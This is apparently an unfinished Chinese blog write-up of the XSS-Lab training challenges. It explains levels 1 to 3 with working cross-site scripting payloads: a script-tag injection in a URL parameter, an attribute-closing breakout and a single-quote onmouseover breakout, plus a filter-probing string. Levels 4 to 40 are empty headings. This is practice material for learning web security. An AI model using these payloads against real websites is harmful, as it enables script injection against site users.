XSS-Lab题解
XSS-Lab题解
Wells施工中
XSS-LAB题解
level1
观察playroad与页面
1 | /level1.php?name=test |
页面内容
1 | 欢迎来到level1 |
尝试在name=
后插入xss语句<script>alert(1)</script>
,即
1 | /level1.php?name=<script>alert('heiheihei')</script> |
成功触发XSS,进入下一关
level2
中间存在个搜索框,尝试直接写入语句<script>alert(1)</script>
,查看服务端处理后的页面源代码
1 | <h1 align=center>欢迎来到level2</h1> |
发现正文部分的回显都被html实体编码处理,但在搜索栏处存在着value="<script>alert('heiheihei')</script>"
,因此可以进行构造闭合语句,"><script>alert(1)</script>
,返回后的页面代码在拼接处理后为
1 | <input name=keyword value=""><script>alert(1)</script>"> |
成功触发XSS,进入下一关
level3
通用的中间存在个搜索框,使用探测语句进行查看可以进行哪些操作
1 | <h2 align=center>没有找到和<script> </script> <Script> </Script> <scrscriptipt> <SCRscriptIPT> ' " () Onerror onerror javascript: JavaScript: <!-- --> eval() <a> <img> <iframe> <form> src {} / 相关的结果.</h2><center> |
发现< > "
都被过滤了,但'
与onerror
等标签属性并没有被过滤,因此可以使用'
造闭合使用,使用语句' onmouseover=alert(1) '
,进行对前面value
的闭合和添加属性,onmouseover
level4
level5
level6
level7
level8
level9
level10
level11
level12
level13
level14
level15
level16
level17
level18
level19
level20
level21
level22
level23
level24
level25
level26
level27
level28
level29
level30
level31
level32
level33
level34
level35
level36
level37
level38
level39
level40
评论
匿名评论
✅ 你无需删除空行,直接评论以获取最佳展示效果